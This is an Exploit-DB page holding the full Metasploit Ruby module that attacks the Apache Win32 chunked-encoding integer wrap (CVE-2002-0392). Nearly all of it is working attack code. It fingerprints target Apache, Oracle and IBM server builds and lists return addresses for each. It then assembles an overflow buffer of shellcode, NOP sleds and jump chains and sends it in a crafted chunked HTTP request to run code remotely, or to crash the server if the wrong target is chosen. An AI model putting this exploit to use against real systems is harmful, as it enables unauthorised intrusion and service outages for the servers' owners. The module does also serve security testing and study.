标题: Apache (Windows x86) - Chunked Encoding (Metasploit) EDB-ID: 16782 CVE: 2002-0392 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-07-07 漏洞利用脚本: ##
# $Id: apache_chunked.rb 9719 2010-07-07 17:38:59Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 HttpFingerprint = { :pattern => [ /Apache/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Apache Win32 Chunked Encoding',
   'Description'    => %q{
     This module exploits the chunked transfer integer wrap
    vulnerability in Apache version 1.2.x to 1.3.24. This
    particular module has been tested with all versions of the
    official Win32 build between 1.3.9 and 1.3.24. Additionally,
    it should work against most co-branded and bundled versions
    of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

    You will need to use the Check() functionality to determine
    the exact target version prior to launching the exploit. The
    version of Apache bundled with Oracle 8.1.7 will not
    automatically restart, so if you use the wrong target value,
    the server will crash.
   },
   'Author'         => [ 'hdm', 'jduck' ],
   'Version'        => '$Revision: 9719 $',
   'References'     =>
    [
     [ 'CVE', '2002-0392' ],
     [ 'OSVDB', '838'],
     [ 'BID', '5033' ],
     [ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],

    ],
   'Privileged'     => true,
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 987,
     'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
     'MinNops'  => 200,
     'Prepend'  => "\x81\xc4\xff\xef\xff\xff\x44",

    },
   'Targets'        =>
    [
     [  'Windows Generic Bruteforce', {} ],

     # Official Apache.org win32 builds
     [  'Apache.org Build 1.3.9->1.3.19',
      {
       'Ret' => 0x00401151,
       'Pad' => [6,2,0,4,1,3,5,7]
      }
     ],
     [  'Apache.org Build 1.3.22->1.3.24',
      {
       'Ret' => 0x00401141,
       'Pad' => [2,6,0,4,1,3,5,7]
      }
     ],
     [  'Apache.org Build 1.3.19->1.3.24',
      {
       'Ret' => 0x6ff6548d,
       'Pad' => [2,6,0,4,1,3,5,7]
      }
     ],
     [  'Apache.org Build 1.3.22',
      {
       'Ret' => 0x6ff762ac,
       'Pad' => [2,6,0,4,1,3,5,7]
      }
     ],

     # Return to Win9xConHook.dll via call ebx
     [  'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
      {
       'Ret' => 0x1c0f13e5,
       'Pad' => [2,6,0,4,1,3,5,7]
      }
     ],

     # Return to Win9xConHook.dll via call esi
     [  'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
      {
       'Ret' => 0x1c0f1033,
       'Pad' => [2,6,0,4,1,3,5,7]
      }
     ],

     # Interesting return to PEB trick for Windows 2003 systems...
     [  'Windows 2003 English SP0',
      {
       'Ret' => 0x7ffc0638,
       'Pad' => [2,6,5,4,1,3,0,7]
      }
     ],

     # Pop/Pop/Return on Windows 2000
     [  'Windows 2000 English',
      {
       'Ret' => 0x75022ac4,
       'Pad' => [2,6,5,4,1,3,0,7]
      }
     ],

     # Oracle HTTPD: [ 8.1.7 ] (one shot)
     # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
     # OpenSSL/0.9.5a mod_perl/1.24
     [  'Oracle 8.1.7 Apache 1.3.12',
      {
       'Ret' => 0x1d84d42c,
       'Pad' => [7]
      }
     ],

     # Oracle HTTPD: [ 9.1.0 ] (multiple shots)
     # Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
     # OpenSSL/0.9.5a mod_perl/1.24
     [  'Oracle 9.1.0 Apache 1.3.12',
      {
       'Ret' => 0x10016061,
       'Pad' => [5,6,0,4,1,3,2,7]
      }
     ],

     # Oracle HTTPD: [ 9.2.0 ] (multiple shots)
     # Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
     # mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
     # mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
     [  'Oracle 9.2.0 Apache 1.3.22',
      {
       'Ret' => 0x6ff6427a,
       'Pad' => [5,6,0,4,1,3,2,7]
      }
     ],

     # Generic debugging targets
     [  'Debugging Target',
      {
       'Ret' => 0xcafebabe,
       'Pad' => [0,1,2,3,4,5,6,7]
      }
     ]
    ],
   'DisclosureDate' => 'Jun 19 2002',
   'DefaultTarget'  => 0))
 end

 def check
  response = send_request_raw({'uri' => '/'}, 5)
  if response.nil?
   print_status("No response to request")
   return Exploit::CheckCode::Safe
  end

  http_fingerprint({ :response => response })  # Custom Server header matching

  code = Exploit::CheckCode::Appears

  case response['Server']
   when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
    print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
   when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
    print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
   when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
    print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
   when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
    print_status("IBM backported the patch, this system is not vulnerable")
    code = Exploit::CheckCode::Safe
   when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
   else
    code = Exploit::CheckCode::Safe
  end

  if code == Exploit::CheckCode::Appears
   print_status("Vulnerable server: #{response['Server']}")
  else
   print_status("Server is probably not vulnerable: #{response['Server']}")
  end

  return code
 end

 def auto_target
  response = send_request_raw({'uri' => '/'}, 5)
  if response.nil?
   print_error("No response to request")
   return targets_to_try
  end

  http_fingerprint({ :response => response })  # Custom Server header matching / automatic target selection

  targets_to_try = []
  server_hdr = response['Server']
  print_status("Server: #{server_hdr}")

  case server_hdr
  when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
   targets_to_try.push(targets[9])

  when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
   targets_to_try.push(targets[10])

  when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
   targets_to_try.push(targets[11])

  when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
   # fall through

  else
   # check for apache version ranges
   if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
    version = $1

    #print_status("Apache version: #{version}")
    ver = version.split('.')
    if (ver.length == 3)
     major = ver[0].to_i
     minor = ver[1].to_i
     rev = ver[2].to_i
     if (major == 1 and minor == 3)
      targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
      targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
      targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
      targets_to_try.push(targets[4]) if (rev == 22)

      # Add the remaining targets, regardless of quality...
      if (server_hdr =~ /Win32/)
       # targets 4, 5, 6, 7
       if (rev >= 17 and rev <= 24)
        targets_to_try.push(targets[5])
        targets_to_try.push(targets[6])
       end
       targets_to_try.push(targets[7])
       targets_to_try.push(targets[8])
      end
     end
     # Version 1.0 - 1.2, Fall through...
    end
    # ServerTokens setting isn't giving up enough information ...  Might need to try?
   end
   # Not Apache?  Fall through...
  end

  targets_to_try
 end

 #
 # If auto, ask the auto_target function for a list of
 # targets to try...
 #
 # If not auto, just try the selected target.
 #
 def exploit
  if target_index == 0
   targs = auto_target
   print_status("Auto-targeting returned #{targs.length} candidates...")
   targs.each_with_index { |targ, idx|
    # Never try the debug target automatically :)
    next if targ.name =~ /Debug/
    exploit_target(targ)
   }
  else
   exploit_target(target)
  end
 end

 def exploit_target(target)
  target['Pad'].each { |pad|
   pattern =
    rand_text_alphanumeric(3936) +
    payload.encoded +
    make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
    rand_text_alphanumeric(pad)

   # Move slightly further back to allow padding changes
   pattern +=
    "\xeb\xf0\xde\xad" +
    [target.ret].pack('V')

   # Create a chain of return addresses and reverse jumps
   254.times { |x|
    pattern +=
     "\xeb\xf6\xbe\xef" +
     [target.ret].pack('V')
   }

   # Even out the request length based on the padding value
   # This is required to reliably hit the return address offset
   pattern += rand_text_alphanumeric(8 - pad)

   #
   # Regardless of what return we hit, execution jumps backwards to the shellcode:
   #                                   _______________ _______________ ___________
   #       _________    _____________  | ________    | | ______      | | ______
   #       v       |    v           |  v v      |    | v v    |      | v v    |
   # [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
   #

   print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")

   # Build the request
   send_request_raw({
    'uri'     => '/',
    'headers' =>
     {
      'Transfer-Encoding' => "CHUNKED"
     },
    'data'    => "FFFFFFF0 " + pattern,
   }, 2)

   # Check the handler
   handler
  }
 end

end URL: https://www.exploit-db.com/exploits/16782